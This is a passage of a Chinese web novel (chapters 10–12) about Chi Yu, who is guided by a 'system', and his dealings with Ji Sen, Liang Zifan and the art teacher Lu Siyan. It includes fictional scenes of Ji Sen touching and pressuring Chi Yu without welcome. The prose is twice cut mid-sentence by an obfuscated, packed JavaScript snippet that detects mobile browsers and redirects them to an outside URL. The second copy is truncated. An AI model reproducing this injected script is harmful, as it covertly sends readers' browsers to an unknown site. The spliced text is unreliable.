他的话越说越过分,迟瑜实在不想再听下去了,又不敢堵着他嘴巴,只好又急又气地低声喊道:“季少!” 他嗓音软,厉声制止的模样也像撒娇。 季森很是受用,被他那双羞恼之下越发灵动的眼睛瞪了之后,终于心满意足开始说正事: “为什么没通过我的微信好友申请?” 迟瑜怔忡思索了片刻,才反应过来:“那个黑色头像是你?” “不然呢,你还期待谁会加你?” 这个问法简直无理取闹。 迟瑜感觉到季森的呼吸渐进,忍不住侧身朝旁边躲了一下。 “又躲我?我身上有什么病毒吗?” “不是,”迟瑜摇头,“我不知道那是你,我的手机在背包里。” 迟瑜晃了晃被季森抓住的手腕,示意他松开。 季森果真松开了他的手腕,却没打算让迟瑜动手,他直接双臂绕到迟瑜身后,以一种环抱的姿势,几乎和迟瑜身体贴在一起。 如愿以偿地听见了身前的呼吸声逐渐变得急促错乱,盈了满怀的馥郁香气让季森忍不住更贴近了几分。 “你看不见,还是我来拿吧。” 他伸手在迟瑜身后摸索,动作无序,一会儿蹭蹭迟瑜腰侧,一会儿抚摸迟瑜后颈,弄得人几乎东倒西歪快要往他怀里栽。 【死变态,这不明目张胆占你便宜吗?】 【要不踢回去吧宝宝,我支持你!】 系统那萌萌的机械音里迟瑜竟听出了一点义愤填膺的感觉,迟瑜心里莫名有点触动。 季森终于找到了拉链,顺利打开了背包。 “在第一个夹层里,你……你快一些,”迟瑜双手推拒地抵在季森胸前,过近的距离和交错的呼吸让他快要出汗,敏感处被触摸残余的酥麻感让他觉得有些不舒服。 “快不了。”季森的动作慢条斯理,“男人就要持/久。” 迟瑜对他满口的下流话始终无法适应,只能装聋作哑,浑身僵硬不敢乱动。 “迟瑜,你看现在像不像是背着贺骄和我偷/情?” 季森终于拿到了手机,屏幕被触亮之后,迟瑜视线终于清晰了一些。 “说真的,你想不想和我试试?” 迟瑜眨了眨眼,还没看清周旁的环境,就下意识循着声音抬头,两片樱粉的唇瓣从季森唇上轻轻蹭过,蜻蜓点水一般。 他看见贺骄的脸快要贴在他眼前,那双极具攻击性的凌厉双眼直勾勾盯着他。 而后迟瑜才迟钝地意识到了什么,眼神逐渐有了焦距,他双手使劲将挡在身前的人推远了几分,拿手背擦了擦唇瓣。 季森扬起的唇角和面上玩味的神情几乎定格住了,脸色漫上一层不易察觉的红。 那双眼睛里的企图昭然若揭。 【恭喜宿主,今日日常任务已完成(1/1)。】 【我去,宝宝,这都能歪打正着完成任务。 “你别靠我这么近。”迟瑜那袖口擦擦嘴唇,从季森手中将手机接过来。 “喂,是你亲我,怎么还这样嫌弃?” 季森见池瑜装傻,心中生出些不满,但他舔了舔嘴唇,尝到些若有若无的微甜味,叫他又忍不住将注意力挪到迟瑜的嘴巴上, 唇形优美可爱,颜色粉润润勾得他心痒痒,季森开始有些懊悔,那晚那样好的机会,他竟没有好好尝尝味道,以至于这些天抓心挠肝了好久。 迟瑜没注意到他越发幽深的视线,径直点进微信里,才发现那个纯黑头像不久前又发来了一条新朋友申请。 并备注:? 的确像是季森的风格。 迟瑜没多想直接点了同意,便抬眼去询问:“季少,已经加上了,我可以先走吗?” 季森不乐意了:“这么急着走,跟我待一起很难受?” 迟瑜掩唇咳了两声,垂下眼睫一副没什么精神的样子:“我真的还有事,而且这里面都是积灰的杂物,也没有窗户,空气不太好,我有点难受。” 没有窗户的小型储物间,角落里堆满了落灰的旧画具,因为突然有人造访,积灰飘了一些在空气中,待久了他感觉肺部有些难受。 “娇气。”季森只觉得这里面香得要命,让他忍不住更靠近香气的来源。 迟瑜又咳了两声,手机屏幕的光照得他一双眼水光潋滟。 “这种活动有什么参加的必要吗,”季森从迟瑜手中将他手机拿过来,给自己打了个备注“AAA森”,退出聊天框之后,一眼便见到最顶上唯一被置顶的贺骄,心里立即有些不爽了,于是顺手给自己也设了个置顶,于是他的头像立即便窜到了贺骄的上方。 位列聊天记录第一的位置, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383205|184151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季森终于舒坦了。 【真幼稚啊,这也要争个高低。】 【要真把他收了也是个不安分的,那不得争宠争得不知天地为何物了。】 系统碎碎念,迟瑜有些怀疑它到底学了什么攻略。 设置完终于舒服了,季森又在屏幕上划拉了几下,才将手机重新塞回到迟瑜怀里。 “那约个晚餐?我在楼下等你。” 迟瑜婉拒:“我吃过了。” “购物呢喜不喜欢,去逛街?” “我身体有点不舒服,一会儿想回家休息。”迟瑜将背包整理好,焉哒哒的模样看着确实兴致不高。 “身体不舒服还出来?”连着被拒绝,季森又有点不爽了,“迟瑜,你拿我当傻子骗呢?” “要么,社团活动里有谁啊,你拼了身体不舒服也要去?”季森凑近了些,暧昧地说,“不会是还有什么拿不出手的小四小五吧?” 【不要脸啊不要脸,这就认领小三哥地位了。】 迟瑜叹了口气,小心地看向季森:“贺骄一会儿来接我,我们要一起吃饭然后一起回家。” 季森冷笑了一声,凉飕飕地看他一眼,却没说话。 【真说实话了你又不高兴。】 咳嗽声又在这方狭小空间里响起,迟瑜咬着唇,看起来有些忐忑:“季少,我能走了吗?” “贺骄可真大度,头顶绿油油都能忍。”季森语气有些怪,“迟瑜,你的手段也比我想象的要厉害。” 迟瑜敛下眼睫,语气很淡:“我要迟到了。” 季森见他脸上又开始发白,眉心皱起伸手越过迟瑜的肩膀,将储物间的门拉开了些,外面的阳光和空气透进来,他脸上迎着阳光被照亮,更显得俊朗锋利: “你躲不开我。” 迟瑜整个人被笼罩在阴影里,仰头看季森,眼神清亮纯澈:“季少,你不要再和我开这种玩笑了。” 季森呵呵一笑,侧身让开,做了个“请”的手势。 迟瑜抿抿唇,看着他身体堵在门口,有些无语,只好侧着身体贴门出去,却还是难以避免地蹭到了季森的胸口。 【可恶啊,又给他爽到了。】 “迟瑜?” “还真是你,你躲在那里面做什么?” 这声音欠揍又没礼貌,带着质问的语气。 迟瑜转过头去,声音的来源是梁子帆——贺骄的表弟,因为两人的母亲是亲姐妹的缘故,梁子帆从小和贺家走得很亲近,也是迟瑜儿时青梅竹马的玩伴之一。 贺家变动那几年,梁家明里暗里没少帮着贺骄,梁子帆也不知是被灌了了什么迷魂药,从前他对祈臻马首是瞻,祈臻死了,他又事事都听贺骄的。 此时他身后还跟着四五个人,迟瑜都挺眼熟,基本都是他们社团的成员,随着梁子帆这一声惊呼,所有人的目光都聚焦在了迟瑜身上。 11. 第 11 章 迟瑜背着包站定在走廊里,微风吹得他额角的碎发微微遮住眼睛。 梁子帆比迟瑜小几个月,小时候最爱打篮球,后面不知道抽了什么风,非要学画画。 他父母年轻时爱玩,常将他寄养在姨妈家,于是借着贺家这层关系,迟瑜也和他认识得很早,因为年龄相仿,两人甚至从小学开始就在同一所学校念书,只除了中学时迟瑜出国那几年没见面。 梁子帆还记得,他和迟瑜第一次见面是在贺家,那天阳光特别好,风情日朗,他在后院里疯玩,偶然瞥见小喷泉边上有个白净漂亮的小孩,安安静静地坐在小石凳上,歪着脑袋看底下池子里的鱼,整个人像是笼着一层柔柔的光,漂亮得像展台上雕琢完美的水晶制品。 皮猴子一样的梁子帆,头一回见到这样的软萌的小可爱,比童话书里描绘的小公主还要漂亮,他罕见地抛下玩具,就蹲在小花坛后面看了许久,直到迟瑜被妈妈牵走,他才踩了风火轮一样尖叫着横冲直撞到姨妈怀里,缠着问今天来家里做客的妹妹是谁,祈女士愣了一下,才捂着嘴笑:“那是个小哥哥,迟瑜,比你还大几个月呢。” 梁子帆还记得自己当时的震惊,那样雪白漂亮的小公主竟然和他一样是个小男孩,他花了好久还是不能接受这个事实,后面见面时也不知是怀了什么心态,总爱捉弄迟瑜,惹得人要哭了才罢休。 这样打打闹闹地,大家也就一起长大了。 迟家出事之后,梁子帆还去医院看过迟瑜,妈妈说迟家破产了,他于是将自己的储钱罐和零钱卡都一起打包偷偷塞进迟瑜被窝里,哭得一把鼻涕一把眼泪的,那架势都把迟瑜弄得鼻子也有些酸了。 可后面贺家出面将迟家的后事处理妥善,那些风言风语传出来之后,梁子帆突然跑过来义愤填膺地质问了迟瑜一通,迟瑜那时躺在病床上,精神恍惚,压根儿没听见他问了什么,也没搭理他。 再之后见面就是迟瑜出院之后了,他精神状况不好,性格也沉默了许多,梁子帆当时年纪小一根筋,原本就对迟瑜有一箩筐的不理解,见迟瑜对他爱答不理的没个好脸色,慢慢也开始闹情绪了,怎么都看迟瑜都不顺眼,有事没事跑来找茬。 说起来,迟瑜后面被欺负,也是梁子帆开的这个头,他没由来地找了迟瑜几回茬,后面其他人见迟家倒台后,迟瑜果真没了依仗,也才一点一点试探底线学着欺负他。 那时迟瑜的状态完全不会自保,也不愿意给贺骄添麻烦,被欺负了也只是沉默着全盘接受。 但吊诡的是,等到其他人开始欺负迟瑜之后,梁子帆反而不再欺负他了,有时候还会阴阳怪气地替他解围,事后又跑来警告一通,乱七八糟地解释说只是看在贺骄的面子上,不想让表哥丢脸什么的。 迟瑜不知道是不是贺骄的授意,他也没问过,梁子帆解释的时候,他也就只是默默画自己的画,对方就咬牙切齿走掉了。 后来随着时光的流逝,以及贺骄日复一日坚持不懈地带他看医生,迟瑜也逐渐走出了阴霾,虽然不再像之前那样开朗自信,也变得很社恐,但好歹是能和正常人相处了。 慢慢地,对于欺负他的人,迟瑜也逐渐有了自己的应对之策。 有人再来挤兑他或者捉弄他时,他先忍上一两个回合,若对方还不肯放过他,他就挤出几滴眼泪,装装可怜,也不开口求饶,就只是泪眼朦胧地望过去。 没什么技术含量,但每回都奏效。 每每到迟瑜使出这一招时,气氛总是会变得微妙起来,欺负他的人也不会再继续下去了,反而都用一种迟瑜看不懂的眼神望着他,那眼神虽然让他觉得难受,但也可以忍耐。 就像苍蝇似的,时不时来叮他一下,也不疼,就是恶心。 年岁增长之后,那些眼神变得更加露骨,迟瑜看不懂,却觉得很不适很难受,就在这种感觉快要到某种临界点的时候,贺骄终于带着他一起远走异国了。 迟瑜回国后,只想将自己当做一个透明人,再不要和之前的那些人有交集,但梁子帆却丝毫没有这个意识,对他的态度还和他出国前如出一辙。 甚至选学校时,他也拒绝了父母的安排,跟着迟瑜一起进了圣莱茵去读了商学院,并且辅修美术,明面上说是舍不得父母,不想离开天南市市,私底下却扭扭捏捏跑到迟瑜面前,凶狠狠地说他才不是为了迟瑜选的这个学校,说什么只是想替表哥看着迟瑜,不让迟瑜在大学里勾三搭四。 迟瑜的大学生涯,除了梁子帆和他那群小弟时不时来刷点存在感之外,其他的都挺圆满。 “这几天我给你发消息怎么又不回,请那么久的假。”梁子帆气势冲冲跑到迟瑜面前,还没等到迟瑜答复,便见到另一道高大的人影紧随在迟瑜身后淡定自如地走了出来。 梁子帆一瞬间睁大了眼睛,嘴巴都张成了O形,走廊里瞬间鸦雀无声。 季森旁若无人地将迟瑜遮住眼睛的碎发挑开,轻笑了一下,迟瑜扭头躲开。 “借过。” 季森擦着迟瑜的肩膀走过去,双手插兜对着目瞪口呆的梁子帆冷淡道。 梁子帆还处在震惊中没有反应过来,听到指令下意识就靠边让路了,等到意识到发生了什么的时候,季森的身影已经快要消失在搂到转角。 “我靠,他在装什么?”梁子帆后知后觉气得要跳脚。 “是啊,比帆哥你还装,太装了。”身后的兄弟们们纷纷附和。 梁子帆脸一黑,扭头见后面几个看热闹的,立即凛眉凶恶喊道,“你们几个看什么呢,有什么好看的,赶紧进画室去,都杵这儿干嘛啊?” 梁子帆脾气爆不好惹,家里又有钱,还有一群小弟簇拥着,一般人都不愿和他起冲突,他这一声吼,聚集看热闹的一下字散了个干净。 他扭头见始作俑者没事人似的低眉站在原地,阳光下漂亮得耀眼夺目,即便从小到大看了不知多少遍,梁子帆也还是怔了一下,很快又回神过来,立刻将枪口调转过去,呵道: “好你个水性杨花的迟瑜,你和他躲在里面干嘛呢?” 梁子帆一把推开迟瑜身后的门,朝里仔仔细细扫视了一圈,没有捕捉到什么不堪入眼的痕迹,他气焰才降了些,依旧狐疑地看向迟瑜:“你不会背着我哥和姓季的有一腿吧,我告诉你,我会盯着你的,你小心我把今天的事告诉我哥。” 【呵呵,哪里需要你这个狗腿子来传话,以贺骄的变态程度,估计还没等这货告状,他就已经得到消息了。】 系统很看不惯这人对自家宝贝宿主大呼小叫的态度。 迟瑜认真想了想,回应系统:“这应该不至于。” 贺骄再有能耐,也没到这种手眼通天的地步。 见迟瑜没搭理他,梁子帆又炸了:“迟瑜,我在跟你说话你发什么呆?不说话是不是心虚了?” “什么也没做,他找我问点事情。”迟瑜迟愣愣垂下眼睫,唇角扯出一点弧度,“这几天没来是因为发烧了在家休息,不是故意不回你消息。” 其实是设置了消息免打扰。 “发烧了还出来瞎折腾干什么,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“喜欢那鸟?要不要我帮你捉来?”梁子帆已经收好情绪,自顾自地说,“先说好,我可不是为了讨好你或者怎样,都是看在我哥的面子上。” “不用了。”迟瑜对养宠物没什么兴趣。 “不用就不用,”梁子帆神色有些奇怪,一眼又一眼侧过头偷偷瞥一眼迟瑜,直看得迟瑜心里发麻。 迟瑜眼神一闪,捂着脖子状似无意朝边上缩了缩:“我看起来很奇怪?” 他疑心是不是被梁子帆看出来什么了。 “没……”梁子帆欲言又止,迟瑜已经很久没见到他露出这幅神色了,循着以往的思路,试探问道,“你怎么了,又惹祸了要我帮忙和贺骄说?” “嘁,什么闯祸,”梁子帆撇嘴,他缓了会儿,又找起话头,“说到我哥,你和我哥最近感情挺好的?” 迟瑜没明白他为什么突然这样问,他和贺骄的相处模式一贯如此,就算突然牵扯进来一个季森,也对他们没什么影响:“还行吧。” 梁子帆嘴角一撇:“呵呵,那恭喜你啊。” 迟疑满头雾水:“怎么突然这样说?” 梁子帆立即收回视线,没好气地说:“没什么,就无聊问问,你等我哥自己和你说吧。” “哦。”迟瑜没再追问,将包背上便站起身来往后门走。 “还没结束,你去哪儿?”梁子帆立即跟上去,“我哥来接你了?” 迟瑜没回头,只扔下一句:“陆老师找我有事。” 12. 第 12 章 迟瑜从活动室里溜出来后,就挑了条人少的小径朝陆斯衍的办公室走,梁子帆这样一提,他脑袋里就忍不住天马行空地晃悠着幼年时的记忆。 很多人觉得他是贺骄养大的金丝雀,也有人说贺骄是拿他当童养媳,小情人。 但少有人知道的是,迟瑜曾经真的和贺家有过“婚约”,只是对象并非贺骄,而是他的哥哥祈臻。 梁子帆小时候和迟瑜一样,都对祈臻这位好像无所不能的哥哥很有好感,有时候梁家父母管不过来这只皮猴子的时候,就只有祈臻说话才管用。 几个孩子玩在一处的时候,梁子帆调皮爱捉弄人,贺骄冷冷的不爱搭理人,衬得祈臻简直是神仙哥哥,因此迟瑜总爱黏着他,一见了面,总要想方设法地钻进祈臻的臂弯里去坐着,甜甜地喊着“祈臻哥哥”央求对方给他讲故事。 祈女士看得直乐呵,抱着软糯可爱的迟瑜就不舍得撒手,开玩笑似的就说要给两家的孩子定亲。 因为那一句玩笑,兰雪也应和着牵着迟瑜的手问他长大之后要不要和祈臻哥哥结婚。 迟瑜当时年幼还不明白结婚是什么意思。 梁子帆跳出来哈哈大笑敲他脑袋嘲笑他笨,叉着腰卖弄,说结婚了就是像爸爸妈妈那样,一起吃饭,一起睡觉,可以一辈子在一起。 迟瑜听完当时眼睛就亮了,惦记着祈臻哥哥没给他讲完的睡前故事,开心地从妈妈怀里跳下来哒哒哒地跑过去亲了一下祈臻的侧脸,说:“我要和祈臻哥哥结婚。” 两家大人都笑了起来,迟瑜还不明白大家在笑什么,扭头又钻进妈妈怀里讨抱抱去了。 祈臻当时也笑了,却没说话,只是蹲下来轻轻摸了摸迟瑜的头。 当时贺骄好像也在场,但迟瑜的注意力不在他身上,已经不记得他是什么表情了,至于梁子帆,迟瑜只记得他像只猴子一样上蹿下跳吱哇乱叫。 后面贺家出事,车子摔下悬崖,救援队打捞了好几天,也只捞上来贺骄父母的尸体,至于祈臻,据说只找到了一些衣物碎片。 贺家那时内部夺权争斗得厉害,贺骄一个十三岁的小孩儿自然势弱。 商人重利,迟瑜的父母尽管惋惜难过,取舍之下却也不愿去站队蹚那趟浑水,也不允许迟瑜去出席贺家的葬礼,迟瑜被关在家里好些天,难过了好久。 葬礼过后一个多月,贺骄曾来过迟家找他。 贺叔叔和祈阿姨对他很疼爱,祈臻哥哥待他更是像亲弟弟一样好,迟瑜却没有去送他们最后一程,他那时虽然年纪小,却也内疚得不得了,有些不敢面对贺骄,只敢悄悄地躲在房间的阳台上偷偷看楼下庭院里的贺骄。 迟瑜碎片般的记忆里最清晰的画面,就是单薄孱弱的少年坐在轮椅上,执拗地等在楼下,半垂着脸,看不清表情。 迟瑜心里难受得要命,想下楼去喊一声贺骄哥哥,但话还堵在喉咙口没说出生,贺骄就已经敏锐地抬头过来看见他了,脸色苍白,面无表情,眼珠黑沉,就那样无声地看过来。 迟瑜那一瞬间,脑袋一片空白,双脚像是被钉在地上一样,分毫动弹不得,甚至不知道贺骄是什么时候离开的。 脑袋里只有一个念头,贺骄哥哥一定很失望,再也不想见我了。 过了几天,迟瑜才在餐桌上听见父母的闲谈,原来那天贺骄离开之后,就在小姨的安排下,休学离开天南市去了外地。 迟瑜得知这消息的时候,筷子都惊落在了地上。心里隐隐冒出来一个念头:贺骄那天,也许是来和他告别的,也许是想问,他为什么没去参加那场葬礼。毕竟除了他们从小玩在一起的交情之外,他还和祈臻有着口头上的婚约,也许,是想和他说些别的话。 但总之,他再也没有机会问出口了。 后来的两年间,贺家和迟家的生意往来一切顺畅,再然后迟家意外资金链断裂,公司破产,迟瑜以为的再也不会理会他的贺骄哥哥从天而降,将他从地狱里拽出来,迟瑜有时回想起这件事,都觉得冥冥中一切都是天注定的,他家在贺家出事时选择冷眼旁观,所以后来迟家出事时,也没有人愿意伸出援手来帮他们一把。 就连贺骄的救赎都姗姗来迟。 贺骄赶到的时候,兰雪已经去世两天了,她将自己和年幼的孩子一起锁在地下室里,是做好了一同赴死的决心。 但最终,她还是没忍心带着迟瑜一起走,是贺骄在两天后才终于找到了依偎在半腐的母亲身边,奄奄一息的迟瑜。 只是再见面之后,贺骄也不许他再喊自己“哥哥”了。 【宝宝,宝宝!怎么在发呆啊,差点撞树上了。】 系统的声音透着焦灼: 【别忘了任务,24小时之内需要完成。】 迟瑜晃过神来,脚下一转穿过林荫朝陆斯衍的办公室走去:“没完成会怎么样?” 【这中间任何一个剧情任务没完成,都会直接导致任务失败,也就无法改变最终的炮灰结局。】 【宝宝,这很重要。】 “我明白了。”迟瑜轻声说。 传说中和校董会有密切关联的陆斯衍老师的办公室在三楼的最后一间,安静而宽敞,中古风的装潢风格在这样一座现代化校园里风格尤其突出。 迟瑜来过许多次,陆斯衍办公室窗台前的架子上摆放着各类他说不出名字的花草,看起来极具生活情调,办公室里面还连着一间休息室,迟瑜之前低血糖晕倒时还躺在那张床上休息过,陆斯衍友善而体贴地叮嘱他,如果有需要,可以随时光顾。 但迟瑜没好意思再麻烦过陆老师,一来是因为迟瑜本身就不爱亏欠旁人,二来是这位陆老师看似随性温和,但实则很轻易便能看出来他的洁癖属性。 “陆老师。” 办公室的门虚掩着,迟瑜从门缝里看见一个男人倚在窗边。 一身熨烫妥帖的纯黑衬衣西裤,衬得他肤色愈发冷白,迟瑜从这个角度能看见他突起的喉结和小半张侧脸。 他礼貌地敲了敲门。 “请进。” 迟瑜推开门,陆斯衍端着咖啡杯,步履慵懒走向他的办公桌,他将咖啡杯放回到桌面上,先而后十分绅士地将对面的会客椅拉开,一手搭在椅背上,另一只手做了个请的手势示意迟瑜坐下。 【我靠好帅的老师。】 系统开始惊呼。 迟瑜有些惊讶于系统的大反应,对着陆老师礼貌道了声谢便坐了进去。 陆斯衍肩阔腿 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陆斯衍十指交叠搭在桌上,雾蓝色瞳孔里盛满了关切,唇角的弧度自然而友善,微卷的浅褐色短发在阳光下晕开淡金的光辉,被打理得一丝不苟,迟瑜有时会觉得这位陆老师的气质实在不像是一位普通的美术老师,会让他联想到美术馆里陈列的古希腊俊美的神祇雕塑,举手投足之间,倒像是住在庄园或者城堡里的欧洲贵族。 这算是正事吗? 迟瑜脑子里思索了一秒,还是放弃了这个问题。 “谢谢老师关心,我已经好多了。”迟瑜中规中矩地答谢,将背包打开,从里面拿出一本薄薄的画册,双手递到陆斯衍面前,“陆老师,我补交一下作业。” 原本应该是上午那堂课交上去的。 陆斯衍应了一声,随意翻了几页,夸赞道:“很有进步,对色彩的掌控力更强了。” 迟瑜眉眼一弯:“谢谢老师夸奖。”这算得上是今天到现在为止唯一一件让他真心实意感到高兴的话。 “关于这一次的古城写生活动——”陆斯衍眉心微皱,看似有些为难,“迟瑜同学还是决定不参加吗?” “按学校规定,我们这个专业每学期固定有2次写生活动,是要算学分的,迟瑜同学大一时因为身体原因,每一次都缺席了,实在是很遗憾。” “有时候,看看更广袤的天地,也许会对你有帮助。” 系统着急地插话: 【说得好有道理啊宝宝,快答应他!】 迟瑜面露纠结,微垂下眼睫,避开陆斯衍的视线:“老师,我需要再考虑一下,明天中午之前给您答复,可以吗?” “当然。”陆斯衍十分善解人意,并没有去追问更深的或许会让人难堪的原因。 贺家在天南市商界如日中天,关系盘根错杂,贺骄作为贺氏唯一的继承人强势回归,更是众星捧月一般地存在,尤其是圣莱茵学院,学员大多非富即贵,迟瑜和贺骄的这层关系像是罩在他身上的一层透明糖壳,将他和正常社交隔绝,但却又矛盾地将他展示在众人的目光中,宛如水晶球里的精致人偶。 半开的彩色玻璃花窗涌入一阵凉风,吹得几片花瓣纷纷扬扬。 迟瑜侧过身体看向窗台,夕阳的余光透过不规则的彩色玻璃映在他脸上,绚烂的彩光杂乱无序,但落在这张皎洁无暇的脸上,却有种神圣而纯净的美。 枯竭了许久的灵感之土仿佛一瞬间得到了滋养,陆斯衍突然有种想要动笔的冲动。